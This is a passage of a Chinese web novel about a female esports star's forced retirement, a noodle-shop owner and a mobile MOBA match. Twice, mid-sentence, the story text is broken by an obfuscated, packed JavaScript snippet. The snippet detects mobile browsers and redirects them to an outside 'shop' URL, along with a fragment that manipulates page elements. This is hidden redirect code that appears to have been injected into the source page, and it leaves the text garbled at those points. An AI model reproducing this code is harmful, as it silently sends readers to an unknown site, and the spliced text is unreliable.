《从零开始的竞技生活》 1. 干涸之夏(一) “竞技体育,从来都是残酷的。” “LCT作为联盟的老牌战队,它的最后一支男女混合战队即将走向落幕……” “……今天,也是LCT·fourth最后一名女职业选手——棠离,宣布退役并和LCT俱乐部解约的日子,棠离选手在职业生涯中曾八次登顶世冠赛fmvp的宝座……” “联盟不日前宣布,男女混合赛事即将被改组为综合赛事,男女职业选手最终会走向真正的同台竞技,请问棠离选手对此有什么要说的吗?” “……” “这六年来,从无名小卒到满冠荣耀,请问棠离选手,职业生涯走到今天,你有什么怀念或者遗憾吗?” “……” “哔——” 老旧墙壁上的挂壁电视毫无征兆地熄掉了屏幕,近乎同时的,佘逸头顶嘎吱作响的吊扇也停止了运作。 暑气从逐渐静止的扇叶上落灰一样往下掉,很快地郁结在面馆狭窄的空间内。 混合着门头外油炸糍粑的味道,让人心里没来由地升起一股焦躁。 佘逸决定放弃吃晚饭这项计划。 “烦,一到这月份就老是停电,跟市政的反映了多少回了也没人来修,迟早把那个破变压器拆求了。” 这是一家主营早餐的面馆,也能做家常菜,营业时间和附近中学的时刻表相同,早开晚闭,寒暑假关门。 面馆的“老板娘”看起来只有二十啷当岁,一头自来卷长发随意地挽到脑后,一转手把佘逸点的红油小面搁到桌子上,扭头狠狠瞪着街对面贴满小广告的电井。 ——好比小孩磕了脚也要怪一下石头。 搪瓷的碗底扣在经年使用的塑料桌上,发出与桌面胶粘起来的轻微扣合声。 佘逸又坐回到位置上,心里的烦躁开始冒头。 “不好意思哈小姐姐,这个点真是什么事都遇上了,平时我们店不空调都是24小时不间断的,夏天嘛。” 乍然关闭的电视,摇摇欲坠的电扇,热气旋然上升。 “就是昨天空调不知道怎么回事,突然就不制冷了,我爸联系了师傅来修,估计快来了。” 白色的碗,黄色的桌子——碗底同桌面不断地扣合,再扣合。 “……没想到这时候还停电了,要不,来一碗酸梅汤?冰镇的?” 佘逸长呼出一口气,她少有焦躁到坐立难安的时候,渝都的夏积压了太多过往的陈旧,以致她长久以来地逃避。 “哎呀,忘记现在断电了,不过碗摸着还是凉凉的,小姐姐先将喝?我再给你煎个蛋?” “免费的。” “没事,不用了。” 佘逸的拒绝在沉闷的空气中扑腾一瞬,“嗵”的掉落在地,似乎并没有传达到“老板娘”耳中。 她放下酸梅汤,卷发自空中一甩,连个头也没留,又风风火火地拉上围裙到锅边煎蛋。 很快传来“咔哒咔哒”点煤气的声音。 小县城里做生意的总是很热情,这家店刚好夹在老居民区之间,楼上就是住户,食客也多是老主顾,人情味最要紧,跟自己家似的。 这样的热情在大城市里少见,浸润其中多年的佘逸有些无法招架,她还是决定先走一步。 “不用麻烦,帮我打包一下吧,我有点急事。” “哦……哎好的好的。” “老板娘”话还撂在半头,大腿一抬就把燃气灶关掉了,上身拧到灶台下面找打包盒和塑料袋。 撑袋、装盒、盖盖、打结,十分利落。 事毕还非常贴心地多套了一层包装袋。 “慢走哈。” “老板娘”把双层保险的打包盒递到佘逸手中,手却交叉起来,大拇指不自然地绕着圈。 佘逸刚好起身付款,错过了“老板娘”刹那的局促。 店里因为断电,没响起“支付宝到账”的提示音,她为了避免纠纷,按照习惯说了一句“过来了”。 “老板娘”犹豫了一会,还是叫住了她:“诶……那个……” “是七元吧?还是酸梅汤没算上?” 佘逸抬头再次确认墙头上挂着的半壁点菜栏: 红油小面(素面)……七元/二两 没错啊? “不是不是,钱没少,就算少了也没事,哎呀我在说些什么……” “我就是想问,小姐姐是有什么问题吗?我是说……不满意?”她的声音在一阵忙乱中越来越低,最后“不满意”这几个字简直细若蚊吟。 “就是,嗯…… 我看你一直挺严肃的,光盯着面,也不咋吃……” “是不是有什么忌口,还是不太合口味?” “平时店里都是我爸掌勺,我也就打打下手,这会儿他不在……我,”她丧气地一垂头,“要不我还是退您钱吧。” “不,你做的面非常诱人,只是我等会还有个航班,在店里吃感觉有点来不及,我是在思考这个。” 佘逸看到她这样的窘迫,年少时那种想要长大的急迫感又从记忆深处追着她咬上来,连她自己都没注意到,这番话说出来不自觉地带上了某种共情,或许是过去的自己同眼前这个女孩过分的重合,都在这个年纪想要证明自己也足够独当一面。 “我再给您打包一个煎蛋吧,实在不好意思,这天确实太热了。” “很快的很快的,您放心。” 小姑娘一下子又满电复活,旋风一样的在堂子里扫来扫去,这次佘逸没有再阻拦,只是点头说了声“谢谢”。 在“老板娘”忙碌的间隙里,佘逸拎着塑料袋抱臂靠在桌角,终于伸手摸出了工作机。 开机。 等待屏幕亮起的那几秒里,她没有自己预想中的那么不安,甚至没有什么多余的情绪。 耳边跳跃着蛋液“呲啦”一下滑入油锅里的声音,她的内心久违地变成一片安静空白。 【重启手机后首次开机需要输入锁屏密码】 190715,是她正式打比赛的那天,这个日期最终被定格在了昨天。 佘逸的工作机上只有微博和微信两个社交软件,除此之外就是[权力王座]手游。 三个图标挤在空旷的页面一角,一个红点也没有,连短信都只有几天前的电信流量账单。 一切都空空如也。 她被移出了LCT的内部群聊,微博也被异地登入注销。 佘逸的目光久久地停留在“登入出错”的界面,直到屏幕自然熄灭,又摁出锁屏。 屏保还是她设置的下一站赛程图,现在连这个也仿佛成了现实对她的愚弄。 店内忽然被一阵蓬松的蛋香填满。 嗯哼,好在还有煎蛋。 “啊,下雨了。” 佘逸闻声抬头,才惊觉门框外的世界已经斑驳一片,灰白色的电井上被雨钻出了大小不一的深色孔洞,最终连密成一块灰蓝的盖布。 随即,四面楼房支出的各式雨篷奏打起错落的雨声,天花板以上都在踢踏作响。 整座城市的分辨率骤然降低,能见度不足5米。 天早就黑下来了,只是她一直困顿在原地没注意到而已。 过去已经在那块小小的光屏里静置了24个小时,佘逸不可能永远驻足,所有看似尽善尽美的策划在没实施前都有可能发生变化—— 譬如她的飞机,也许会因为这场突如其来的暴雨要暂时停靠在这个夏日。 机场和县城之间相距75分钟车程,是去目睹一场被人打点顺利的表演,还是去做点令操盘手不快的事情?佘逸熄掉屏幕,决定将选择权交给命运。 两分钟后,航班延误的消息发送到了佘逸的手机上。 这或许是她今年运气触底反弹的起点。 她将航班改签到另一个目的地。 “看来这是天留客,这么大的雨就算是打伞也走不出去了。” “姐你的飞机咋办?看这情况形就算是打车也没人接单,那雨刮器不得变成电风扇啊。” “老板娘”的情绪又迅速地转了个弯,攥着眉头立在门脸下,拉长脖子向外张望,两眼探来探去,搜刮着巷子里可能窜过的交通工具,恨不得亲自去替佘逸逮一辆车回来。 “没事,延误了。” “哦哦那就好,没耽误事就行。” “那啥姐,你不然将就在店里吃饭算了?”她说着说着不知何时遛了回来,暗戳戳蹭开板凳,把煎蛋黄澄澄地挪在了桌子中央,“顺便休息会,外面那个雨真落不下脚,反正干等不如耍等咯。” 盯着佘逸“服了软”,坐下来安心吃上了她家的饭,“老板娘”心头手头都畅快地丢开一桩事,围裙都懒得解,两步并跨,“呜呼”仰倒在自己的专属小躺椅上。 “吼吼吼!上号上号——” 舒坦! “老板娘”进入翘班状态之后十分放飞,变魔术一样从座椅靠背后面掏出一罐扎啤,翘脚浮一大白,算是微微进入状态。 “欢迎来到权力至上的游戏,权力之界,已为你开启。” 听到游戏启动音和开局刀剑碰撞音效,佘逸条件反射地想伸手滑动屏幕。 最快记录盲图57秒,她能刷完整片野区。 这是目前最受欢迎的MOBA手游(多人在线战术竞技游戏)——[权力王座]的启动语音。 [权力王座]的游戏背景设定为异世界的王储战争,核心玩法就是推塔,红白双方依靠运送兵线攻陷敌方教皇塔即为胜利。 双方阵营各有五个主要职业:战士(打野)、弓箭手(射手)、圣术师(法师)、盾卫(坦克)、牧师(辅助),经过版本迭代衍生出不少细分的二级职业,例如弓箭手又有攻城手、远射手等的分别。 地图划分为圣城、荒原、前线三个区域,区域内资源、地形都各有不同,会定时刷新各种增益效果不同的魔物,也就是俗称的野区。 通常盾卫、弓箭手和圣术师分统一区,牧师作为游走位会根据局势为己方提供增益,而战士则是全局的“猎手”,暗杀、伏击、斡旋,是调动游戏节奏的主要核心, 与其他单一MOBA游戏不同,[权力王冠]含有一定的开放世界观,在局内添加了赏金玩法,在局外衍生出大量的次级游戏,剧情、养成、自走棋等,游戏生态向深层次发展。 总之,[权力王座]因为可玩性高、机制灵活、竞技性强而备受追捧,赛事比赛、网络直播也因此水涨高,可以说是目前现象级的国民游戏。 最近围绕着[权力王座]的话题冲到了微博热搜榜前三,主要围绕着热门职业女选手“棠离” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296931|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退役的消息,各大蓝V相继发文。 发布会上,棠离面对记者或关切或尖锐的提问,一言未发地脱下了代表LCT的黑白队服,潮涌般的声音归于平静,她腰背挺拔,转身离开了会场。 聚光灯下,棠离决绝离去的一幕被解读为“一个神的激流勇退”,粉丝们为她剪辑的高光视频集锦还挂在了热搜首页6个小时,标题是“致敬一个竞技传奇的离去”。 而“棠离退役”的话题热度并没有就此熄火。 在LCT·棠离官宣退役当日晚23点11分,某站知名up主发布了对此事的全局分析,怀疑棠离选手的退役并不是出于当事人自愿,个中内幕隐隐指向资本操控。 随即贴出了长达半年的疑似队内歧视的时间线和相关视频,以及不久前LCT已签约新上单的小道消息,此时棠离和LCT的合约还远未到期。 有关“棠离退役”的发布会视频以及该博主的推演被各大营销号反复搬运,在各大短视频平台上疯传,成为当期最热。 而对此的回应,是LCT·棠离微博账号永远灰掉的头像,“该用户已注销”。 有关视频下方也随即出现了新一波评论: [水越芊芊重]回复博主[我啃鸡腿3000]:现在棠离已经销号走人了,到底是资本暗箱操作还是她和LCT在联合炒作啊(叠甲,纯路人只吃瓜,不追电竞,不站队) [蜜桃不吃乌龙]回复[水越芊芊重]:不er,谁会拿自己的职业生涯炒作啊?棠离正处在事业上升期,也没有公布伤病,突然退役连个预告都没有,这算什么,断崖式退休?(作者点赞) [春天微棠]回复[蜜桃不吃乌龙]:正解,而且棠棠的微博应该不在她本人手里的,至少LCT是有账号密码的,棠棠同一天内发的微博IP地址都会变很多次,而且微博只有代言营业和赛程直达,连直播链接都很少有。其他选手都或多或少会有自己的生活分享,棠棠却完!全!没!有!天知道我三年前入坑考古一星期才找到了一张十七岁的嫩棠照片,还是高糊糊糊糊糊版……(此条高赞) [悦棠不离]回复[春天微棠]:歪个楼,不会是那张……嫩棠挂脖耳机候机图吧……姐妹真的有品,虽然高糊,但实在美丽,萌翻了好吧!(此条高赞) [越女的越就是棠离的棠]回复[水越芊芊重]:叠甲叠了千千层,一查底裤是水军,翻遍全网马甲,哥们儿业务还挺广的哈[图片][图片](此条高赞) [越女的越就是棠离的棠]回复[悦棠不离]:俺也一样!(此条高赞) [越女的越就是棠离的棠]回复本条:别赞啦!差点以为自己被网暴了,我知道大家都一样 [龟壳小呆毛]回复[越女的越就是棠离的棠]:俺也一样! [皮灰灰]回复[越女的越就是棠离的棠]:俺也一样! [难离海棠瑟秋风]回复[越女的越就是棠离的棠]:俺也一样! ——点击查看更多 [这是什么吃一口]回复[悦棠不离]:什么图!旋转扭曲阴暗爬行死亡翻滚——给我图!看看孩子ID吧孩子能吃[敲碗jpg.] [悦棠不离]回复[这是什么吃一口]:(图片已失效) [瓜田铺校长]回复[这是什么吃一口]:来晚了!噩耗! [青の柚殇]回复[这是什么吃一口]:来晚了!噩耗! ——点击查看更多 [水越芊芊重]回复[越女的越就是棠离的棠]:整上饭圈那套了,有点副业没错但这次我没收钱啊,真吃瓜,被冲了……电竞圈素质新了解(敬礼emoji) [当人不让,不仁才让]回复[水越芊芊重]:你这才是要被冲了……评论区歪楼都比你回复多,在这急啥啊,还电竞圈素质,你能代表水军素质不?(白眼emoji) [轩养龟]回复[水越芊芊重]:让子弹飞一会吧,互联网这上头谁真谁假还真不一定呢。 [荆州阿严]回复[当人不让,不仁才让]:就说电竞圈素质了能咋滴!一群人学历加一块还没我高呢,能有啥素质,看评论区都说因为那女的长得好,那么多粉丝,能挣不知道多钱呢,替人家着急资本做局那事儿?女的打电竞干嘛,不如老老实实找个工作,年龄上来了啥工作都不好找。 [当人不让,不仁才让]回复[荆州阿严]:(玫瑰)(玫瑰)他是来哈尔滨旅游的(微笑挥手emoji) …… 评论区刻意的引战使画风突然偏转,常见桥段自然是“女的XXX”,这样的戏码在互联网上真是叫座又叫好,这个议题除了败给“屎/尿/屁”在全网再无敌手,双方吵得脸红脖子粗,唾沫星子横飞,像一对调和不了的父母。 事关男女问题,短视频平台也趁热搅了一趟浑水,通过大数据推送继续拱火,不知是LCT还是第三方趁机将网友[水越芊芊重]的评论扩大注水,做成另一种“网友才是被做局”视角,也被大量营销。 至此,不管是不是追竞人,只要接触“权力王冠”手游的玩家都知道一点“瓜皮”,就连最近的游戏局内聊天都频繁地出现“棠离”字眼。 而一切风暴的中心,佘逸本人凭借她的2G冲浪速度游离在风暴之外,正在渝都的一家小面店里旁观小老板娘玩游戏。 2. 干涸之夏(二) [谜依漾的萧]:能开麦? “能的能的,姐我和朋友开麦玩游戏你不介意吧?” “你们随意。” “哪个姐?姐姐要不要一起玩?” “老板娘”的手机听筒里传来另一个活泼的女声。 “是店里的客人啦,人家要吃饭呢。” “快开吧,今天乔姐带你摘星星!” “哟~小样,还乔姐上了,3000说你最近在练蔷薇花,让我来检阅检阅你练得怎么样了。” “遵命~” “……” 开局六分钟,一血染红了整块屏幕,乔宝莎郁气难疏,一拳差点干翻了椅子。 挂在天上“看电视”(死亡第三视角)的功夫,乔宝莎去逛了一眼微博。 “诶?LCT不是你主队吗?上热搜啦?” “快别他妈提了,从今天起我就是LCT一、生、黑!” 佘逸吃面的手微微一顿。 “怎么个事?” 乔宝莎才从泉水里站起来,正操控着蔷薇男爵往线上赶去。 她玩的射手位,版本强势的T0英雄蔷薇花,位移多,大招是1.5秒无法选中的穿透技。 兵线刚交汇呢,万万没想到对面打野在红开和蓝开之间选择了射手开。 乔宝莎两眼痴呆地看着对面小白龙犹如大运一般创了上来,双手直接离开手机屏幕,盯着一口没吃的兵线含恨而终。 “啥也妹有啊?” 回线上不出意外也是被压在塔下针对,她猥琐在塔后,一只眼盯着操作,一只眼在LTC官博评论下扒楼。 微博评论区一片祥和,好像是有个叫“棠离”的职业选手退役了,底下几乎全是或欢送或惋惜的粉丝。 “呷,全是水军,你要看就去3000那看,她那才是主力军。” “嗷,我去看看。” “回来!对线呢!!这里是战场!!” 看来是和辅助双排的。 新版本下射辅基本已经连体,高分段或许还有上版本的强势游走,但从总趋势上看,辅助玩家由于女性占比越来越大,逐渐走向边缘化或者与其他分路主职绑定。 “不行啊,对面一直压我做不了视野。” 拉扯两波,兵线已经进塔,乔宝莎再露头探草只有被秒的份。 她的眉头越拧越深,脸色并不好看。 照下路这个局势来看,直接默认草里有人就好了,要是换她在对面,她也绝对不会放任蔷薇花发育起来。 她刚逃回塔下的时候已经用掉了血药和大招,手里只捏着一段影子位移,不敢用,怕被突脸暴毙,于是只好眼睁睁看着防御塔吞掉最后一个炮车。 “我的——98块钱!啊啊啊啊!!” 虽然在屏幕外嚎得人神共泣,乔宝莎操纵角色的手却稳得可怕。 塔下的红裙女郎倨傲地抬起头,被改造的机械右臂上扣着一支银亮的猎枪,只是简单走位,堪称优雅地提裙躲开了对面攻城手唐杰的三发散弹。 甚至,在与最后一波流弹擦肩而过的瞬间,蔷薇花脚下冒出骚包的回城传送阵。 显得以暴力射著称的唐杰是一个笑话。 嘲讽,纯纯嘲讽。 是可忍,孰不可忍! 攻城手终于按耐不住强硬/顶了上来,直接大跨步越塔,甚至没有知会自家辅助。 ——对面雪娘还捧着脑袋怔怔地站在塔外。 唐杰穿了万圣节怪诞鬼的皮肤,黑沉的披风之下是一具森白的骷髅,面部覆盖着一张诡谲的人皮面具。 抬手的瞬间面具消散,露出一颗瘆人的红色骷髅头,一枚指骨子弹钉住蔷薇花的落点位置,利落出膛。 这是唐杰的二技能“噩手”。 指骨做的巫术子弹会在一段法术伤害后,转变为带有鬼手钩索。 命中后会束缚敌人0.8秒,转灵吸血,并附带恐惧效果。 玩攻城手最基本的连招就是钩子起手,手里留一套技能可以瞬秒脆皮。 这套连招常被玩家戏称为“800米锁头”。 隔着人墙的c位常常还没看到攻城手的视野,就被扼住了命运的后脖颈,在被榨干的漫长时间里,刚好能全款购入一个望远镜,灰屏前勉强可以看到千里之外放/屁溜走的唐杰。 攻城手每次开炮,都会因为火箭炮的后坐力,获得一段中等距离的向后位移被动。 这也是他能于“千军万马直取首级”还能潇洒离场的关键。 “萧萧!” “明白!” 乔宝莎等的就是这一刻,对方兵线已经被塔磨掉,塔下的蔷薇花杀心渐起—— 和防御塔一起才是最好的双排。 海蓝一直在旁等待着蔷薇花的命令,在攻城手抬手的瞬间朝前纵身一跃,化身人鱼海神,举起威严的——emmm甜品勺,释放大招“倾巢”。 塔内铺满金色地砖的地面,随着人鱼亘古的吟唱浮现出海水的波纹。 海底沉寂百年的克苏鲁回应神的召唤,发出震颤寰宇的怒鸣。 海怪粗壮的触手探出水面,召来天罚的雷电,攀上攻城手的脚踝,潜伏的巨鱼环伺在侧,带来持续的范围伤害。 唐杰血红的头颅会在3秒后被克苏鲁的触手完全包裹着,视野会逐渐陷入完全的黑暗之中。 硬控加范围减伤,这个技能也是广大输出忌惮海蓝的根源——简直就是死缓的反义词,缓死。 当然,这样强横的对单控制不是没有代价的。 “倾巢”是海蓝的燃命技,控制效果越长消耗的血量就越多,所耗CD越长,且满血无法释放大招。 换言之,即便换掉对位输出,海蓝释放大招后血量也不会健康,深处战场中心很容易被切掉,几乎是一换一的结局。 更别提小鱼释放大招前只有半管血,前期更是弱势人人得都能踩上一脚。 攻城手还没倒下,海蓝已经先一步殒身大海了。 “枯竭的每一条河流都是未偿还的债务,大海会亲自将它讨回。” “姐妹!我献祭了,你一定要代替我活下去啊!!——” “……” 听筒里传来了同人女“桀桀桀”的邪恶笑声,用萧肖的话来说:人可以在任何时候成为海蓝的狗。 当初官方公布海蓝的角色pv,本意是塑造“种群之主”的威严形象,没想到成就的是另外意义上的“种群之主”。 蒸汽朋克背景下,人类的大量排污导致环境恶化,出现大量畸变生物,疾病肆虐。 大财团主导下的联邦国像一个噩梦,资源、权力和生存压力虬结在一起,战争频繁,最终引发神判之战。 海蓝是审判中代表爱和希望的海神。 他很快发现,这场战争只是权力的恶劣游戏,无论是神还是上层资本,策划的是一场混合政治目的和经济利益谈判。 最终海蓝选择为了苦难中的人们挽救濒死的大海,献祭重生,成为世界新的秩序规则,而世上再无海神。 即便官方已经竭尽全力给了海蓝一张成男脸,还联动了许多影评up对pv做出一系列深度解说,但—— 公说公有理,嬷说……嬷嬷你。 此男一出,全世界的海嬷都吻了上来,嬷得不知天地为何物,从此游戏生态持续向好向黄发展。 海蓝最新的“甜品执事”皮肤就疑似官方对海嬷的妥协。 笔挺的淡色西装配上海蓝愁烟一样的长发,他手中代表海神权柄的三叉戟被换成了精致的中世纪甜品勺,连技能特效都变成了他最爱的楝花紫色。 此皮既出,再配合上海蓝那双悲伤的眼睛,不知掏空了多少女玩家的钱包。 而现在,高贵的执事大人倒在了路中间,背景音是萧肖狂浪般豪迈的笑声。 佘逸循声看了过来,又状似“打扰了”一般将视线移开。 乔宝莎脑袋里开始滚动播放走马灯,通往天堂的路正在前方闪烁。 “你到底在燃些什么啊喂!!!” “嘿嘿嘿嘿……小鱼……” (一段智慧的笑声) “姐,你信我,她平时不这样的,我没有和智/障玩的爱好,当然这里没有歧视智/障的意思,我只是歧视海蓝的狗。” “嘿嘿汪汪汪!我就是……” 乔宝莎紧急闭麦,表情已经麻木,不敢抬头去看佘逸的反应。 “……理解的。” 好了,这下彻底死掉了。 蔷薇花不知道背后的玩家经历了什么,在“倾巢”地形伤害打满的瞬间,稳稳地朝地面空A两下换出强普。 (A=普攻,普通攻击,也称平A) 与此同时,塔伤刚好落到斜对面攻城手的身上。 只剩最后一格血。 蔷薇花身随影动,在原地留下一道虚影,位移上前,强普叠加二技能“铭刻”收掉了敌方攻城手的人头。 但她目前的处境却变得极为不妙。 使用“铭刻”能在敌人身上留下一道印记,依靠印记可以将敌方作为跳板来回进行穿梭,持续1.5秒。 “铭刻”最多存储四个,刚才是最后一个。 人死债消,她没法再回头踩着攻城手的尸/体跳走,位移手段-1。 蔷薇花落点的十点钟方向是著名的阴人三大草之一,三点钟方向是虎视眈眈的敌方辅助。 怎么办? 是和虚影换位回到塔下?还是险中求胜直接反打? 地图上显示己方打野和法师正往下路支援。 草里蹲着小白龙,上路大坦万钧没视野,应该也传送下来了。 万钧没闪,在上路被逼了大,还有14秒CD。 小白龙刚刷完他的第二组蓝,手里没有惩戒。 两个人都没有大控制,赌一把,打人数差,勾到就是胜利。 身穿红裙铁甲的带刺蔷薇祭出最好用的留人手段——回城嘲讽。 没错,依旧是一招鲜吃遍天。 一声清亮的龙吟划过天空,地面瞬起两圈若如凝露的“龙息”。 (龙息:小白龙三技能,释放后在地面生成两圈白雾,环绕两次,AOE法术伤害,内圈伤害最高,持续2.8秒) “龙息”的内圈外径将将擦过蔷薇男爵的裙角。 不过是损失了一点血量。 乔宝莎目光沉静,手指几乎是紧紧贴着一技能“换位”,瞳孔聚缩。 不急,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296932|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没出手。 蔷薇男爵在原地来回摆头,装作普攻选中错误。 看着蔷薇花犹疑的动作,隐身草丛多时的万钧震地而起,跃至半空扛起一座黑沉的大山朝着蔷薇花飞夺而去。 (招摇山:万钧一技能,有1.2秒的前摇,释放后万钧会扛起招摇山飞向敌人,生成地形并造成高额物理伤害) 月牙形的阴影笼罩在蔷薇男爵的头顶,雪女身型暴涨,近身扛塔,蓄力瞄准蔷薇花的落点。 千钧一发之际,乔宝莎依靠小走位,扭身拉开一段距离,同时切出装备栏,秒换冷却环并破产购入小辅助装星石。 辅助装只对团队经济最末位生效,仰仗对面前期的“关照”,乔宝莎几乎漏掉一整波兵线,卖掉小件后来到经济最末,星石刚好能够生效。 星石加冷却环,足够了。 乔宝莎利用星石的超薄护盾和微弱抬血闯过“龙息”,顿身朝前走位,制造出想要同归于尽的假象,彻底勾出想要收割人头的小白龙。 小白龙提剑飞出,招摇山轰然而至—— 白雾氤氲的龙息内却空无一人。 只见蔷薇男爵突然闪现回收,冷却环带来的回转刚好补足一枚铭刻,她扭身极限距离挂二选中雪女。 红衣女骑机械手上的齿轮咔嚓转动,一枚花瓣落到雪女身上,刺下一朵盛放的野蔷薇花。 “铭刻”。 蔷薇花的铭刻附带短暂的0.3秒沉默。 就是这转瞬即逝的0.3秒,雪女技能全灰,蓄力中断,原本用来拦截敌人的重拳被迫胎死腹中。 “倩影”换位。 (倩影:蔷薇男爵一技能,释放后获得一段中等距离的指向性位移,在原地留下一道虚影,停留5秒,技能结束前能进行换位) 蔷薇男爵全身而退。 雪女背着铭刻还抗了塔伤,本来射手强行越塔的时候她就血量不佳,这下不管进退都是个死。 乔宝莎换位落地,顺手就把她点掉了。 顺手的事。 雪女:嘤TAT 塔下剩余二人本想减少损失,不如再进一步,强杀蔷薇花。 这一上头,走位更深,等来的是对方满状态的增援。 小白龙和万钧:[dead]。 这波压塔可谓是赔了夫人又折兵,又折兵,又折兵…… 神秘白男立正了,屏幕外小白龙程序熟练地点开对话框。 [谁来反野都不行](小白龙)(全部):兄弟兄弟,下把一起吗? 局内聊天弹出小白龙的消息。 [谜依漾的萧](海蓝)(全部):谢邀,双排不约。 护食这一块。 “啊啊啊啊啊!这也太帅了吧!!” “宝宝我真的要亲亲你了~” “很难说清楚你和蔷薇花本人的关系,简直就是你本人。” “哪里哪里~” 没错就这样宣传我。 “莎崽我刚才有录屏哦,今晚就剪了发到我账号上去……” 乔宝莎一脸得意地歪倒在躺椅上,唇齿一砸么,发出长长一声叹。 “嗐呀——” 不过如此嘛~ 佘逸不由被她自得的小表情吸引住,大概是个稳赢的局面,毕竟乔宝莎就差把“扬眉吐气”刻在脑门上了。 她至少有两三年没有因为游戏而感到这样纯粹的快乐了,上一次和朋友一起玩是什么时候? 雨声拨打的电话无人接听,回环成了佘逸心底的一阵忙音,她静静地搁下碗筷,放空看雨。 “……” “芜湖——赢咯——啊?好吧好吧……收到收到!忙去吧……拜拜。” 室内复又安静下来,佘逸意识回笼,打完了吗? “……姐,你吃好了吗?” “吃好了,你不打了吗?” “不打啦,下播下播,我朋友得回草原上去啦。” “她是少数民族吗?” “哈哈哈哈不是不是,她得回去当牛马去了,就是上班。” “她在上班呢,很忙。” 乔宝莎难掩低落地喃喃一句,她和好友不知从什么时候开始,走向了截然不同的道路,现在好像离得越来越远了。 萧肖已经去到另一座城市上大学,学的是喜欢的视觉传达专业,暑假在当地一家互联网大厂实习,前途无量。 而她,因为学习不好早早出了社会,现在被困在了家里的小店里,忙碌生计。 虽然两人的感情依旧很要好,但乔宝莎就是觉得,有什么东西已经不一样了,儿时的风将她吹得越来越平凡。 “我先去洗碗了姐,你再坐着等会,夏天的雨下不长的。” “谢谢。” “不客气啦~” 乔宝莎就算把声音扬得再高,也扭不转又酸又涩的心情,这好像是一种嫉妒,又不太一样。 近似于长辈给了你一块不算好吃的苹果,微酸的味道长久地停留在口腔,但你马上还要吃掉下一块,下下一块,直到忍耐和习惯达成平衡,才能说出一句“这样的苹果也还不错”。 雨声也穿不透店里沉闷的空间,依旧是不起一丝风地下着,闷热迟迟得不到化解。 3. 干涸之夏(三) 乔宝莎在洗碗。 水龙头被开到最大,不锈钢水池被泄洪一样的水流敲得哐当作响,整个早餐店仿佛都浸没在深海之中。 门外是密不透风的大雨,门内是刻意制造的嘈杂,从此起彼伏地浪声里蔓延出忧郁的蓝调时刻。 佘逸打开手机,晚18:32,航班助手告诉她,再三十分钟她需要出发前往机场。 大雨和日落时分交叠,本就灰霭的天色转变成负片。 店里没有灯,很快陷入了幽蓝色阴影之中。 “拦路雨偏似雪花……” 《富士山下》恰到时宜地响起,为满室低落的氛围增添了一点滤片,陈奕迅低沉的嗓音总感觉在诉说着什么。 “喂?爸爸,嗯,我在店里,你到哪里了?” “……要不等雨不落了再回,天都擦黑了,不安全嘛……” 乔宝莎从后厨急急地跑出来,掐断了电铃,两只手拢着手机听电话。 “好嘛,那我出来接你……我一个人没问题,别再拿我当小孩子了爸爸……” “哎呀!你不管嘛,我!” 一句话还未出口,那边就已经挂断了电话,乔宝莎马上再拨过去,但久久都无人接通,她立在原地,影子扑倒在水磨石地板上。 “……” 佘逸不擅长应对他人的情绪,尤其是对“无可奈何”这四个字,就好似对着旧屋里母亲爱好的陈设,一层层蕾丝的罩布覆盖了目之所及的所有电器,你明白她的爱,但你和电器没办法讲话。 面对乔宝莎的无可奈何,佘逸只能报以关切的沉默。 “总是这样要人挂心,又犟,老说不听,以后看谁还管你!” 乔宝莎闷闷地将手机丢到桌上,在堂子里怒冲冲地走来走去,被桌腿绊了个踉跄。 走到餐柜旁发现还是气不过,又回来重重踢了桌子一脚,桌椅随即扭打成一团。 室内一片狼藉,冲这些东西撒气个什么劲,还要费力气收拾。 但乔宝莎没动,她杵着头跟自己过不去。 “嘎吱——” 佘逸起身时椅子拖拽地面的声音打破了僵局。 “不好意思啊姐,我不是冲你,就是被我爸气急了。” “没事,理解。” 佘逸弯腰帮忙收拾,被乔宝莎摁住了,她面上有些讪讪的,双手齐下,飞快地把地上矮的倒的板凳扶起来。 “姐对不住啊,我得出门一趟……” “雨下得这么大,我爸他又非要回来,店里面又不急这一会……他关节时常不好,眼睛近两年也逐渐看不清了,晚上天又黑……” “没事,我等会就走。” “别啊,我不关门的姐,你就待在店里没事的,”乔宝莎怕佘逸起了误会,赶忙留她,“附近都是老街坊,晚上也敞敞亮亮的,停电也不怕什么。” “就……呼……就待在这呗,嗨呀累死我了。” 乔宝莎一面防着佘逸要走,一面翻箱倒柜找出一把印有某某驾校的银灰色大伞,转头看了一眼雨势。 天已经全黑了,唯有墙上挂着的一只白炽灯还亮着,不知道是什么原因让它幸免于难。 雨渐渐小起来,只有灯照见的地方能看见飘飞的雨丝,晚风姗姗来迟。 “你就……呼……安心等会,等雨停了,差不多了,收拾收拾再出发,不多安逸的。” 她又气喘吁吁地找来雨靴,金鸡独立站在门边蹬腿,却一直穿不上,干脆一屁股坐在地上,掰开鞋硬塞。 乔宝莎拽着鞋沿的手用力到发白,可这东西铁了心跟她唱擂,不论她怎么塞,始终剩半截脚掌露在外面。 “哎呀!全给我对着干来了,他m……” 喉头卡着一句脏话骂不出来,她一口气上来,打算扔开鞋不穿了,脚却卡在半道拔不出来。 “嗯嗯嗯……” 乔宝莎把自己变成了发动机,胸腔嗡嗡发作,后背蓄出一层毛汗,呼吸鼓动在耳边,仿佛那里揣着她肋间的横膈膜。 